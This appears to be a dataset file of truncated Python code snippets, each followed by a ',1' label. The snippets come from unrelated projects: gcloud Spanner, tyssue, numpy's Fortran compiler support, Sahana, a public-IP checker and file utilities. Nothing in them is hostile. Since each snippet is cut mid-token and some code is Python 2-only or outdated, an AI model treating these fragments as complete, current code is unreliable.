message type. Parse(json.dumps(self.payload), message) ",1 "pt in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """"""Command for spanner databases create."""""" from googlecloudsdk.api_lib.spanner import database_operations from googlecloudsdk.api_lib.spanner import databases from googlecloudsdk.calliope import base from googlecloudsdk.command_lib.spanner import flags class Create(base.CreateCommand): """"""Cloud Spanner databases create command."""""" @staticmethod def Args(parser): """"""Args is called by calliope to gather arguments for this command. Please add arguments in alphabetical order except for no- or a clear- pair for that argument which can follow the argument itself. Args: parser: An argparse parser that you can use to add arguments that go on the command line after this command. Positional arguments are allowed. """""" flags.Instance(positional=False).AddToParser(parser) flags.Database().AddToParser(parser) flags.Ddl(help_text='Semi-colon separated DDL (data definition language) ' 'statements to run inside the ' 'newly created database. If there is an error in any statement, ' 'the database is not created. Full DDL specification is at ' 'https://cloud.google.com/spanner/docs/data-definition-language' ).AddToParser(parser) base.ASYNC_FLAG.AddToParser(parser) def Run(self, args): """"""This is what gets called when the user runs this command. Args: args: an argparse namespace. All the arguments that were provided to this command invocation. Returns: Some value that we want to have printed later. """""" op = databases.Create( args.instance, args.database, flags.FixDdl(args.ddl or [])) if args.async: return op return database_operations.Await(op, 'Creating database') ",1 "s import face_lookup from ...geometry.sheet_geometry import SheetGeometry from ...topology.sheet_topology import cell_division from .actions import ( exchange, remove, merge_vertices, detach_vertices, increase, decrease, increase_linear_tension, ) def reconnect(sheet, manager, **kwargs): """"""Performs reconnections (vertex merging / splitting) following Finegan et al. 2019 kwargs overwrite their corresponding `sheet.settings` entries Keyword Arguments ----------------- threshold_length : the threshold length at which vertex merging is performed p_4 : the probability per unit time to perform a detachement from a rank 4 vertex p_5p : the probability per unit time to perform a detachement from a rank 5 or more vertex See Also -------- **The tricellular vertex-specific adhesion molecule Sidekick facilitates polarised cell intercalation during Drosophila axis extension** _Tara M Finegan, Nathan Hervieux, Alexander Nestor-Bergmann, Alexander G. Fletcher, Guy B Blanchard, Benedicte Sanson_ bioRxiv 704932; doi: https://doi.org/10.1101/704932 """""" sheet.settings.update(kwargs) nv = sheet.Nv merge_vertices(sheet) if nv != sheet.Nv: logger.info(f""Merged {nv - sheet.Nv+1} vertices"") nv = sheet.Nv retval = detach_vertices(sheet) if retval: logger.info(""Failed to detach, skipping"") if nv != sheet.Nv: logger.info(f""Detached {sheet.Nv - nv} vertices"") manager.append(reconnect, **kwargs) default_division_spec = { ""face_id"": -1, ""face"": -1, ""growth_rate"": 0.1, ""critical_vol"": 2.0, ""geom"": SheetGeometry, } @face_lookup def division(sheet, manager, **kwargs): """"""Cell division happens through cell growth up to a critical volume, followed by actual division of the face. Parameters ---------- sheet : a `Sheet` object manager : an `EventManager` instance face_id : int, index of the mother face growth_rate : float, default 0.1 rate of increase of the prefered volume critical_vol : float, default 2. volume at which the cells stops to grow and devides """""" division_spec = default_division_spec division_spec.update(**kwargs) face = division_spec[""face""] division_spec[""critical_vol""] *= sheet.specs[""face""][""prefered_vol""] print(sheet.face_df.loc[face, ""vol""], division_spec[""critical_vol""]) if sheet.face_df.loc[face, ""vol""] < division_spec[""critical_vol""]: increase( sheet, ""face"", face, division_spec[""growth_rate""], ""prefered_vol"", True ) manager.append(division, **division_spec) else: daughter = cell_division(sheet, face, division_spec[""geom""]) sheet.face_df.loc[daughter, ""id""] = sheet.face_df.id.max() + 1 default_contraction_spec = { ""face_id"": -1, ""face"": -1, ""contractile_increase"": 1.0, ""critical_area"": 1e-2, ""max_contractility"": 10, ""multiply"": False, ""contraction_column"": ""contractility"", ""unique"": True, } @face_lookup def contraction(sheet, manager, **kwargs): """"""Single step contraction event."""""" contraction_spec = default_contraction_spec contraction_spec.update(**kwargs) face = contraction_spec[""face""] if (sheet.face_df.loc[face, ""area""] < contraction_spec[""critical_area""]) or ( sheet.face_df.loc[face, contraction_spec[""contraction_column""]] > contraction_spec[""max_contractility""] ): return increase( sheet, ""face"", face, contraction_spec[""contractile_increase""], contraction_spec[""contraction_column""], contraction_spec[""multiply""], ) default_type1_transition_spec = { ""face_id"": -1, ""face"": -1, ""critical_length"": 0.1, ""geom"": SheetGeometry, } @face_lookup def type1_transition(sheet, manager, **kwargs): """"""Custom type 1 transition event that tests if the the shorter edge of the face is smaller than the critical length. """""" type1_transition_spec = default_type1_transition_spec type1_transition_spec.update(**kwargs) face = type1_transition_spec[""face""] edges = sheet.edge_df[sheet.edge_df[""face""] == face] if min(edges[""length""]) < type1_transition_spec[""critical_length""]: exchange(sheet, face, type1_transition_spec[""geom""]) default_face_elimination_spec = {""face_id"": -1, ""face"": -1, ""geom"": SheetGeometry} @face_lookup def face_elimination(sheet, manager, **kwargs): """"""Removes the face with if face_id from the sheet."""""" face_elimination_spec = default_face_elimination_spec face_elimination_spec.update(**kwargs) remove(sheet, face_elimination_spec[""face""], face_elimination_spec[""geom""]) default_check_tri_face_spec = {""geom"": SheetGeometry} def check_tri_faces(sheet, manager, **kwargs): """"""Three neighbourghs cell elimination Add all cells with three neighbourghs in the manager to be eliminated at the next time step. Parameters ---------- sheet : a :class:`tyssue.sheet` object manager : a :class:`tyssue.events.EventManager` object """""" check_tri_faces_spec = default_check_tri_face_spec check_tri_faces_spec.update(**kwargs) tri_faces = sheet.face_df[(sheet.face_df[""num_sides""] < 4)].id manager.extend( [ (face_elimination, {""face_id"": f, ""geom"": check_tri_faces_spec[""geom""]}) for f in tri_faces ] ) default_contraction_line_tension_spec = { ""face_id"": -1, ""face"": -1, ""shrink_rate"": 1.05, ""contractile_increase"": 1.0, ""critical_area"": 1e-2, ""max_contractility"": 10, ""multiply"": True, ""contraction_column"": ""line_tension"", ""unique"": True, } @face_lookup def contraction_line_tension(sheet, manager, **kwargs): """""" Single step contraction event """""" contraction_spec = default_contraction_line_tension_spec contraction_spec.update(**kwargs) face = contraction_spec[""face""] if sheet.face_df.loc[face, ""area""] < contraction_spec[""critical_area""]: return # reduce prefered_area decrease( sheet, ""face"", face, contraction_spec[""shrink_rate""], col=""prefered_area"", divide=True, bound=contraction_spec[""critical_area""] / 2, ) increase_linear_tension( sheet, face, contraction_spec[""contractile_increase""], multiply=contraction_spec[""multiply""], isotropic=True, limit=100, ) ",1 "t_mongo_collection(): ""Open a connection to MongoDB and return the collection to use."" if settings.RIGHT_MONGODB_HOST: connection = Connection.paired( left=(settings.MONGODB_HOST, settings.MONGODB_PORT), right=(settings.RIGHT_MONGODB_HOST, settings.RIGHT_MONGODB_PORT) ) else: connection = Connection(host=settings.MONGODB_HOST, port=settings.MONGODB_PORT) return connection[settings.MONGODB_DB][settings.MONGODB_COLLECTION] def save_event(collection, event, timestamp, params): ""Save the event in MongoDB collection"" collection.insert({ 'event': event, 'timestamp': datetime.fromtimestamp(timestamp), 'params': params }) class Event(models.Model): ""Dummy model for development."" timestamp = models.DateTimeField(auto_now_add=True) event = models.SlugField() params = models.TextField() ",1 "_license__ = 'GPL 2.0/LGPL 2.1' __all__ = ('ensure_autodiscover', 'list_checkers', 'get_public_ip') from pif.base import registry from pif.discover import autodiscover def ensure_autodiscover(): """""" Ensures the IP checkers are discovered. """""" if not registry._registry: autodiscover() def list_checkers(): """""" Lists available checkers. :return list: """""" return registry._registry.keys() def get_public_ip(preferred_checker=None, verbose=False): """""" Gets IP using one of the services. :param str preffered checker: Checker UID. If given, the preferred checker is used. :param bool verbose: If set to True, debug info is printed. :return str: """""" ensure_autodiscover() # If use preferred checker. if preferred_checker: ip_checker_cls = registry.get(preferred_checker) if not ip_checker_cls: return False ip_checker = ip_checker_cls(verbose=verbose) ip = ip_checker.get_public_ip() if verbose: print('provider: ', ip_checker_cls) return ip # Using all checkers. for ip_checker_name, ip_checker_cls in registry._registry.items(): ip_checker = ip_checker_cls(verbose=verbose) try: ip = ip_checker.get_public_ip() if ip: if verbose: print('provider: ', ip_checker_cls) return ip except Exception as e: if verbose: print(e) return False ",1 "subprocess import Popen, PIPE, STDOUT from numpy.distutils.fcompiler import FCompiler from numpy.distutils.exec_command import exec_command from numpy.distutils.misc_util import msvc_runtime_library from numpy.distutils.compat import get_exception compilers = ['GnuFCompiler', 'Gnu95FCompiler'] TARGET_R = re.compile(""Target: ([a-zA-Z0-9_\-]*)"") # XXX: handle cross compilation def is_win64(): return sys.platform == ""win32"" and platform.architecture()[0] == ""64bit"" if is_win64(): #_EXTRAFLAGS = [""-fno-leading-underscore""] _EXTRAFLAGS = [] else: _EXTRAFLAGS = [] class GnuFCompiler(FCompiler): compiler_type = 'gnu' compiler_aliases = ('g77',) description = 'GNU Fortran 77 compiler' def gnu_version_match(self, version_string): """"""Handle the different versions of GNU fortran compilers"""""" # Strip warning(s) that may be emitted by gfortran while version_string.startswith('gfortran: warning'): version_string = version_string[version_string.find('\n')+1:] # Gfortran versions from after 2010 will output a simple string # (usually ""x.y"", ""x.y.z"" or ""x.y.z-q"") for ``-dumpversion``; older # gfortrans may still return long version strings (``-dumpversion`` was # an alias for ``--version``) if len(version_string) <= 20: # Try to find a valid version string m = re.search(r'([0-9.]+)', version_string) if m: # g77 provides a longer version string that starts with GNU # Fortran if version_string.startswith('GNU Fortran'): return ('g77', m.group(1)) # gfortran only outputs a version string such as #.#.#, so check # if the match is at the start of the string elif m.start() == 0: return ('gfortran', m.group(1)) else: # Output probably from --version, try harder: m = re.search(r'GNU Fortran\s+95.*?([0-9-.]+)', version_string) if m: return ('gfortran', m.group(1)) m = re.search(r'GNU Fortran.*?\-?([0-9-.]+)', version_string) if m: v = m.group(1) if v.startswith('0') or v.startswith('2') or v.startswith('3'): # the '0' is for early g77's return ('g77', v) else: # at some point in the 4.x series, the ' 95' was dropped # from the version string return ('gfortran', v) # If still nothing, raise an error to make the problem easy to find. err = 'A valid Fortran version was not found in this string:\n' raise ValueError(err + version_string) def version_match(self, version_string): v = self.gnu_version_match(version_string) if not v or v[0] != 'g77': return None return v[1] possible_executables = ['g77', 'f77'] executables = { 'version_cmd' : [None, ""-dumpversion""], 'compiler_f77' : [None, ""-g"", ""-Wall"", ""-fno-second-underscore""], 'compiler_f90' : None, # Use --fcompiler=gnu95 for f90 codes 'compiler_fix' : None, 'linker_so' : [None, ""-g"", ""-Wall""], 'archiver' : [""ar"", ""-cr""], 'ranlib' : [""ranlib""], 'linker_exe' : [None, ""-g"", ""-Wall""] } module_dir_switch = None module_include_switch = None # Cygwin: f771: warning: -fPIC ignored for target (all code is # position independent) if os.name != 'nt' and sys.platform != 'cygwin': pic_flags = ['-fPIC'] # use -mno-cygwin for g77 when Python is not Cygwin-Python if sys.platform == 'win32': for key in ['version_cmd', 'compiler_f77', 'linker_so', 'linker_exe']: executables[key].append('-mno-cygwin') g2c = 'g2c' suggested_f90_compiler = 'gnu95' def get_flags_linker_so(self): opt = self.linker_so[1:] if sys.platform == 'darwin': target = os.environ.get('MACOSX_DEPLOYMENT_TARGET', None) # If MACOSX_DEPLOYMENT_TARGET is set, we simply trust the value # and leave it alone. But, distutils will complain if the # environment's value is different from the one in the Python # Makefile used to build Python. We let disutils handle this # error checking. if not target: # If MACOSX_DEPLOYMENT_TARGET is not set in the environment, # we try to get it first from the Python Makefile and then we # fall back to setting it to 10.3 to maximize the set of # versions we can work with. This is a reasonable default # even when using the official Python dist and those derived # from it. import distutils.sysconfig as sc g = {} try: get_makefile_filename = sc.get_makefile_filename except AttributeError: pass # i.e. PyPy else: filename = get_makefile_filename() sc.parse_makefile(filename, g) target = g.get('MACOSX_DEPLOYMENT_TARGET', '10.3') os.environ['MACOSX_DEPLOYMENT_TARGET'] = target if target == '10.3': s = 'Env. variable MACOSX_DEPLOYMENT_TARGET set to 10.3' warnings.warn(s, stacklevel=2) opt.extend(['-undefined', 'dynamic_lookup', '-bundle']) else: opt.append(""-shared"") if sys.platform.startswith('sunos'): # SunOS often has dynamically loaded symbols defined in the # static library libg2c.a The linker doesn't like this. To # ignore the problem, use the -mimpure-text flag. It isn't # the safest thing, but seems to work. 'man gcc' says: # "".. Instead of using -mimpure-text, you should compile all # source code with -fpic or -fPIC."" opt.append('-mimpure-text') return opt def get_libgcc_dir(self): status, output = exec_command(self.compiler_f77 + ['-print-libgcc-file-name'], use_tee=0) if not status: return os.path.dirname(output) return None def get_library_dirs(self): opt = [] if sys.platform[:5] != 'linux': d = self.get_libgcc_dir() if d: # if windows and not cygwin, libg2c lies in a different folder if sys.platform == 'win32' and not d.startswith('/usr/lib'): d = os.path.normpath(d) path = os.path.join(d, ""lib%s.a"" % self.g2c) if not os.path.exists(path): root = os.path.join(d, *((os.pardir,)*4)) d2 = os.path.abspath(os.path.join(root, 'lib')) path = os.path.join(d2, ""lib%s.a"" % self.g2c) if os.path.exists(path): opt.append(d2) opt.append(d) return opt def get_libraries(self): opt = [] d = self.get_libgcc_dir() if d is not None: g2c = self.g2c + '-pic' f = self.static_lib_format % (g2c, self.static_lib_extension) if not os.path.isfile(os.path.join(d, f)): g2c = self.g2c else: g2c = self.g2c if g2c is not None: opt.append(g2c) c_compiler = self.c_compiler if sys.platform == 'win32' and c_compiler and \ c_compiler.compiler_type == 'msvc': # the following code is not needed (read: breaks) when using MinGW # in case want to link F77 compiled code with MSVC opt.append('gcc') runtime_lib = msvc_runtime_library() if runtime_lib: opt.append(runtime_lib) if sys.platform == 'darwin': opt.append('cc_dynamic') return opt def get_flags_debug(self): return ['-g'] def get_flags_opt(self): v = self.get_version() if v and v <= '3.3.3': # With this compiler version building Fortran BLAS/LAPACK # with -O3 caused failures in lib.lapack heevr,syevr tests. opt = ['-O2'] else: opt = ['-O3'] opt.append('-funroll-loops') return opt def _c_arch_flags(self): """""" Return detected arch flags from CFLAGS """""" from distutils import sysconfig try: cflags = sysconfig.get_config_vars()['CFLAGS'] except KeyError: return [] arch_re = re.compile(r""-arch\s+(\w+)"") arch_flags = [] for arch in arch_re.findall(cflags): arch_flags += ['-arch', arch] return arch_flags def get_flags_arch(self): return [] def runtime_library_dir_option(self, dir): sep = ',' if sys.platform == 'darwin' else '=' return '-Wl,-rpath%s""%s""' % (sep, dir) class Gnu95FCompiler(GnuFCompiler): compiler_type = 'gnu95' compiler_aliases = ('gfortran',) description = 'GNU Fortran 95 compiler' def version_match(self, version_string): v = self.gnu_version_match(version_string) if not v or v[0] != 'gfortran': return None v = v[1] if v >= '4.': # gcc-4 series releases do not support -mno-cygwin option pass else: # use -mno-cygwin flag for gfortran when Python is not # Cygwin-Python if sys.platform == 'win32': for key in ['version_cmd', 'compiler_f77', 'compiler_f90', 'compiler_fix', 'linker_so', 'linker_exe']: self.executables[key].append('-mno-cygwin') return v possible_executables = ['gfortran', 'f95'] executables = { 'version_cmd' : ["""", ""-dumpversion""], 'compiler_f77' : [None, ""-Wall"", ""-g"", ""-ffixed-form"", ""-fno-second-underscore""] + _EXTRAFLAGS, 'compiler_f90' : [None, ""-Wall"", ""-g"", ""-fno-second-underscore""] + _EXTRAFLAGS, 'compiler_fix' : [None, ""-Wall"", ""-g"",""-ffixed-form"", ""-fno-second-underscore""] + _EXTRAFLAGS, 'linker_so' : ["""", ""-Wall"", ""-g""], 'archiver' : [""ar"", ""-cr""], 'ranlib' : [""ranlib""], 'linker_exe' : [None, ""-Wall""] } module_dir_switch = '-J' module_include_switch = '-I' g2c = 'gfortran' def _universal_flags(self, cmd): """"""Return a list of -arch flags for every supported architecture."""""" if not sys.platform == 'darwin': return [] arch_flags = [] # get arches the C compiler gets. c_archs = self._c_arch_flags() if ""i386"" in c_archs: c_archs[c_archs.index(""i386"")] = ""i686"" # check the arches the Fortran compiler supports, and compare with # arch flags from C compiler for arch in [""ppc"", ""i686"", ""x86_64"", ""ppc64""]: if _can_target(cmd, arch) and arch in c_archs: arch_flags.extend([""-arch"", arch]) return arch_flags def get_flags(self): flags = GnuFCompiler.get_flags(self) arch_flags = self._universal_flags(self.compiler_f90) if arch_flags: flags[:0] = arch_flags return flags def get_flags_linker_so(self): flags = GnuFCompiler.get_flags_linker_so(self) arch_flags = self._universal_flags(self.linker_so) if arch_flags: flags[:0] = arch_flags return flags def get_library_dirs(self): opt = GnuFCompiler.get_library_dirs(self) if sys.platform == 'win32': c_compiler = self.c_compiler if c_compiler and c_compiler.compiler_type == ""msvc"": target = self.get_target() if target: d = os.path.normpath(self.get_libgcc_dir()) root = os.path.join(d, *((os.pardir,)*4)) path = os.path.join(root, ""lib"") mingwdir = os.path.normpath(path) if os.path.exists(os.path.join(mingwdir, ""libmingwex.a"")): opt.append(mingwdir) return opt def get_libraries(self): opt = GnuFCompiler.get_libraries(self) if sys.platform == 'darwin': opt.remove('cc_dynamic') if sys.platform == 'win32': c_compiler = self.c_compiler if c_compiler and c_compiler.compiler_type == ""msvc"": if ""gcc"" in opt: i = opt.index(""gcc"") opt.insert(i+1, ""mingwex"") opt.insert(i+1, ""mingw32"") # XXX: fix this mess, does not work for mingw if is_win64(): c_compiler = self.c_compiler if c_compiler and c_compiler.compiler_type == ""msvc"": return [] else: pass return opt def get_target(self): status, output = exec_command(self.compiler_f77 + ['-v'], use_tee=0) if not status: m = TARGET_R.search(output) if m: return m.group(1) return """" def get_flags_opt(self): if is_win64(): return ['-O0'] else: return GnuFCompiler.get_flags_opt(self) def _can_target(cmd, arch): """"""Return true if the architecture supports the -arch flag"""""" newcmd = cmd[:] fid, filename = tempfile.mkstemp(suffix="".f"") os.close(fid) try: d = os.path.dirname(filename) output = os.path.splitext(filename)[0] + "".o"" try: newcmd.extend([""-arch"", arch, ""-c"", filename]) p = Popen(newcmd, stderr=STDOUT, stdout=PIPE, cwd=d) p.communicate() return p.returncode == 0 finally: if os.path.exists(output): os.remove(output) finally: os.remove(filename) return False if __name__ == '__main__': from distutils import log log.set_verbosity(2) compiler = GnuFCompiler() compiler.customize() print(compiler.get_version()) try: compiler = Gnu95FCompiler() compiler.customize() print(compiler.get_version()) except Exception: msg = get_exception() print(msg) ",1 "code_vars = lambda v: { 'req_url': 'http://%(domain)s.se/%(req_url)s' % v } ) hls = { 'title': 'UR-play', 'url': 'http://urplay.se/', 'feed_url': 'http://urplay.se/rss', 'items': [init_req, TemplateRequest( re = r'file_html5"":\s?""(?P[^""]+)"".*?""subtitles"":\s?""(?P[^"",]*)', encode_vars = lambda v: { 'final_url': ('http://130.242.59.75/%(final_url)s/playlist.m3u8' % v).replace('\\', ''), 'suffix-hint': 'mp4', 'subtitles': v.get('subtitles', '').replace('\\', '') % v } )] } rtmp = { 'items': [init_req, TemplateRequest( re = r'file_flash"":\s?""(?P[^""]+\.(?Pmp[34]))"".*?""subtitles"":\s?""(?P[^"",]*)', encode_vars = lambda v: { 'final_url': ('rtmp://130.242.59.75/ondemand playpath=%(ext)s:/%(final_url)s app=ondemand' % v).replace('\\', ''), 'suffix-hint': 'flv', 'rtmpdump-realtime': True, 'subtitles': v.get('subtitles', '').replace('\\', '') % v } )] } services = [hls, rtmp]",1 ".getLogger(__name__) class NoSensorsFoundException(RuntimeError): pass class Controller(metaclass=ABCMeta): @abstractmethod def run(self): raise NotImplementedError @abstractmethod def enable(self): raise NotImplementedError @abstractmethod def disable(self): raise NotImplementedError @abstractmethod def valid(self) -> bool: raise NotImplementedError class InputDevice(metaclass=ABCMeta): """""" Abstract class for input devices. """""" def __init__(self, name): self.name = name self.values = ValueBuffer(name, 128) @abstractmethod def get_value(self) -> float: raise NotImplementedError class OutputDevice(metaclass=ABCMeta): """""" Abstract class for output devices. """""" def __init__(self, name): self.name = name self.values = ValueBuffer(name, 128) def set_value(self, value: Union[int, float]): self.values.update(value) @abstractmethod def apply(self): raise NotImplementedError @abstractmethod def enable(self): raise NotImplementedError @abstractmethod def disable(self): raise NotImplementedError class PassthroughController(Controller): def __init__(self, inputs=Sequence[InputDevice], outputs=Sequence[OutputDevice], speeds=None): self.inputs = list(inputs) self.outputs = list(outputs) def run(self): for idx, input_reader in enumerate(self.inputs): output = self.outputs[idx] output.name = input_reader.name output.values.name = input_reader.name output.set_value(input_reader.get_value()) output.apply() log.debug('ran loop') def apply_candidates(self): return self.outputs def enable(self): for output_dev in self.outputs: output_dev.enable() def disable(self): for output_dev in self.outputs: output_dev.disable() def valid(self) -> bool: return bool(self.inputs and self.outputs) and len(self.inputs) == len(self.outputs) class DummyInput(InputDevice): def __init__(self): super().__init__('dummy') self.temp = 0 def get_value(self): return self.temp def set_value(self, value): self.temp = value class DummyOutput(OutputDevice): def __init__(self): super().__init__('dummy') self.speed = None self.enabled = False def apply(self): if self.enabled: self.speed = round(self.values.mean()) def enable(self): self.enabled = True def disable(self): self.enabled = False def mean(seq: Iterable) -> float: if not isinstance(seq, Iterable): raise ValueError('provided sequence MUST be iterable') if not isinstance(seq, Sequence): seq = list(seq) if len(seq) == 1: return float(seq[0]) if len(seq) == 0: raise ValueError('sequence must have at least one value.') return sum(seq) / len(seq) def lerp(value: Union[float, int], input_min: Union[float, int], input_max: Union[float, int], output_min: Union[float, int], output_max: Union[float, int]) -> float: if value <= input_min: return float(output_min) if value >= input_max: return float(output_max) return (output_min * (input_max - value) + output_max * (value - input_min)) / (input_max - input_min) def lerp_range(seq: Iterable[Union[float, int]], input_min, input_max, output_min, output_max) -> List[float]: return [lerp(val, input_min, input_max, output_min, output_max) for val in seq] class ValueBuffer: def __init__(self, name, default_value=0.0): self.name = name self.buffer = deque(maxlen=32) self._default_value = default_value def update(self, value: float): self.buffer.append(value) def mean(self) -> float: try: return mean(self.buffer) except (ValueError, ZeroDivisionError): return self._default_value ",1 "s.has_module(module): raise HTTP(404, body=""Module disabled: %s"" % module) # ----------------------------------------------------------------------------- def index(): """""" Module's Home Page """""" return s3db.cms_index(module, alt_function=""index_alt"") # ----------------------------------------------------------------------------- def index_alt(): """""" Module homepage for non-Admin users when no CMS content found """""" # @ToDo: Move this to the Template (separate deployment_setting or else a customise for non-REST controllers) template = settings.get_template() if template == ""SandyRelief"": # Just redirect to the Facilities redirect(URL(f=""facility"")) else: # Just redirect to the list of Organisations redirect(URL(f=""organisation"")) # ----------------------------------------------------------------------------- def group(): """""" RESTful CRUD controller """""" return s3_rest_controller(rheader = s3db.org_rheader) # ----------------------------------------------------------------------------- def region(): """""" RESTful CRUD controller """""" return s3_rest_controller() # ----------------------------------------------------------------------------- def sector(): """""" RESTful CRUD controller """""" # Pre-processor def prep(r): # Location Filter s3db.gis_location_filter(r) return True s3.prep = prep return s3_rest_controller() # ----------------------------------------------------------------------------- def subsector(): """""" RESTful CRUD controller """""" return s3_rest_controller() # ----------------------------------------------------------------------------- def site(): """""" RESTful CRUD controller - used by S3SiteAutocompleteWidget which doesn't yet support filtering to just updateable sites - used by site_contact_person() - used by S3OptionsFilter (e.g. Asset Log) """""" # Pre-processor def prep(r): if r.representation != ""json"" and \ r.method not in (""search_ac"", ""search_address_ac"", ""site_contact_person""): return False # Location Filter s3db.gis_location_filter(r) return True s3.prep = prep return s3_rest_controller() # ----------------------------------------------------------------------------- def sites_for_org(): """""" Used to provide the list of Sites for an Organisation - used in User Registration """""" try: org = request.args[0] except: result = current.xml.json_message(False, 400, ""No Org provided!"") else: stable = s3db.org_site if settings.get_org_branches(): # Find all branches for this Organisation btable = s3db.org_organisation_branch query = (btable.organisation_id == org) & \ (btable.deleted != True) rows = db(query).select(btable.branch_id) org_ids = [row.branch_id for row in rows] + [org] query = (stable.organisation_id.belongs(org_ids)) & \ (stable.deleted != True) else: query = (stable.organisation_id == org) & \ (stable.deleted != True) rows = db(query).select(stable.site_id, stable.name, orderby=stable.name) result = rows.json() finally: response.headers[""Content-Type""] = ""application/json"" return result # ----------------------------------------------------------------------------- def facility(): """""" RESTful CRUD controller """""" return s3db.org_facility_controller() # ----------------------------------------------------------------------------- def facility_type(): """""" RESTful CRUD controller """""" return s3_rest_controller() # ----------------------------------------------------------------------------- def office_type(): """""" RESTful CRUD controller """""" return s3_rest_controller() # ----------------------------------------------------------------------------- def organisation_type(): """""" RESTful CRUD controller """""" return s3_rest_controller() # ----------------------------------------------------------------------------- def organisation(): """""" RESTful CRUD controller """""" # Defined in the Model for use from Multiple Controllers for unified menus return s3db.org_organisation_controller() # ----------------------------------------------------------------------------- def org_search(): """""" Organisation REST controller - limited to just search_ac for use in Autocompletes - allows differential access permissions """""" s3.prep = lambda r: r.method == ""search_ac"" return s3_rest_controller(module, ""organisation"") # ----------------------------------------------------------------------------- def organisation_list_represent(l): organisation_represent = s3db.org_organisation_represent if l: max_length = 4 if len(l) > max_length: return ""%s, etc"" % \ organisation_represent.multiple(l[:max_length]) else: return organisation_represent.multiple(l) else: return NONE # ----------------------------------------------------------------------------- def office(): """""" RESTful CRUD controller """""" # Defined in the Model for use from Multiple Controllers for unified menus return s3db.org_office_controller() # ----------------------------------------------------------------------------- def person(): """""" Person controller for AddPersonWidget """""" def prep(r): if r.representation != ""s3json"": # Do not serve other representations here return False else: current.xml.show_ids = True return True s3.prep = prep return s3_rest_controller(""pr"", ""person"") # ----------------------------------------------------------------------------- def room(): """""" RESTful CRUD controller """""" return s3_rest_controller() # ----------------------------------------------------------------------------- def mailing_list(): """""" RESTful CRUD controller """""" tablename = ""pr_group"" table = s3db[tablename] # Only groups with a group_type of 5 s3.filter = (table.group_type == 5) table.group_type.writable = False table.group_type.readable = False table.name.label = T(""Mailing List Name"") s3.crud_strings[tablename] = s3.pr_mailing_list_crud_strings # define the list_fields list_fields = s3db.configure(tablename, list_fields = [""id"", ""name"", ""description"", ]) # Components _rheader = s3db.pr_rheader _tabs = [(T(""Organization""), ""organisation/""), (T(""Mailing List Details""), None), ] if len(request.args) > 0: _tabs.append((T(""Members""), ""group_membership"")) if ""viewing"" in request.vars: tablename, record_id = request.vars.viewing.rsplit(""."", 1) if tablename == ""org_organisation"": table = s3db[tablename] _rheader = s3db.org_rheader _tabs = [] s3db.add_components(""pr_group"", pr_group_membership=""group_id"") rheader = lambda r: _rheader(r, tabs = _tabs) return s3_rest_controller(""pr"", ""group"", rheader=rheader) # ----------------------------------------------------------------------------- def donor(): """""" RESTful CRUD controller """""" tablename = ""org_donor"" table = s3db[tablename] tablename = ""org_donor"" s3.crud_strings[tablename] = Storage( label_create = ADD_DONOR, title_display = T(""Donor Details""), title_list = T(""Donors Report""), title_update = T(""Edit Donor""), label_list_button = T(""List Donors""), label_delete_button = T(""Delete Donor""), msg_record_created = T(""Donor added""), msg_record_modified = T(""Donor updated""), msg_record_deleted = T(""Donor deleted""), msg_list_empty = T(""No Donors currently registered"")) s3db.configure(tablename, listadd=False) output = s3_rest_controller() return output # ----------------------------------------------------------------------------- def resource(): """""" RESTful CRUD controller """""" def prep(r): if r.interactive: if r.method in (""create"", ""update""): # Context from a Profile page?"" table = r.table location_id = request.get_vars.get(""(location)"", None) if location_id: field = table.location_id field.default = location_id field.readable = field.writable = False organisation_id = request.get_vars.get(""(organisation)"", None) if organisation_id: field = table.organisation_id field.default = organisation_id field.readable = field.writable = False return True s3.prep = prep return s3_rest_controller() # ----------------------------------------------------------------------------- def resource_type(): """""" RESTful CRUD controller """""" return s3_rest_controller() # ----------------------------------------------------------------------------- def service(): """""" RESTful CRUD controller """""" return s3_rest_controller() # ----------------------------------------------------------------------------- def req_match(): """""" Match Requests for Sites """""" return s3db.req_match() # ----------------------------------------------------------------------------- def incoming(): """""" Incoming Shipments for Sites @unused """""" return inv_incoming() # ----------------------------------------------------------------------------- def facility_geojson(): """""" Create GeoJSON[P] of Facilities for use by a high-traffic website - controller just for testing - function normally run on a schedule """""" s3db.org_facility_geojson() # END ========================================================================= ",1 "e.ConfigFile(""test.cfg"") cfg.setCfgValue(""name1"", ""value1"") cfg.setCfgValue(""name2"", ""value2"") cfg.selectSection(""user"") cfg.setCfgValue(""username"", ""janis"") cfg.setCfgValue(""acceptable_names"", [""john"", ""janis""]) cfg.load() print cfg.cfg.options(""main"") print cfg.cfg.options(""user"") print cfg.getCfgValue(""username"") print type(cfg.getCfgValue(""username"")) print cfg.getCfgValueAsList(""acceptable_names"") print cfg.getCfgValueAsList(""list_in_list"") cfg.selectSection(""main"") print cfg.getCfgValueAsInt(""a_number"") print type(cfg.getCfgValueAsInt(""a_number"")) print cfg.getCfgValueAsBool(""a_bool"") print type(cfg.getCfgValueAsBool(""a_bool"")) cfg.filename = ""test-mod.cfg"" cfg.selectSection(""main"") cfg.setCfgValue(""name1"", ""value1mod2"") cfg.setCfgValue(""a_number"", 14) cfg.selectSection(""user"") cfg.setCfgValue(""acceptable_names"", [""john"", ""janis"", ""ivan""]) cfg.setCfgValue(""list_in_list2"", [""[baz]"", ""[foo, bar]""]) cfg.setCfgValue(""list_in_list3"", [""first"", ""[second-one, second-third]""]) cfg.save() ",1 " mode=""rt"", encoding=""utf-8"") as f: s = f.read() # go to beginning f.seek(0) return s @staticmethod def read_beginning(path, lines): with io.open(path, mode=""rt"", encoding=""utf-8"") as f: s = f.read(lines) # go to beginning f.seek(0) return s @staticmethod def read_lines(path): with io.open(path, mode=""rt"", encoding=""utf-8"") as f: content = f.readlines() return content @staticmethod def write(contents, path): if isPython3: with open(path, mode=""wt"", encoding=""utf-8"") as f: # truncate previous contents f.truncate() f.write(contents) else: with io.open(path, mode=""wt"", encoding=""utf-8"") as f: # truncate previous contents f.truncate() f.write(contents.decode(""utf8"")) @staticmethod def write_lines(lines, path): if isPython3: with open(path, mode=""wt"", encoding=""utf-8"") as f: f.writelines([l + ""\n"" for l in lines]) else: with io.open(path, mode=""wt"") as f: for line in lines: f.writelines(line.decode(""utf8"") + ""\n"") @staticmethod def add_content(contents, path): if isPython3: with open(path, mode=""a"", encoding=""utf-8"") as f: f.writelines(contents) else: with io.open(path, mode=""a"") as f: 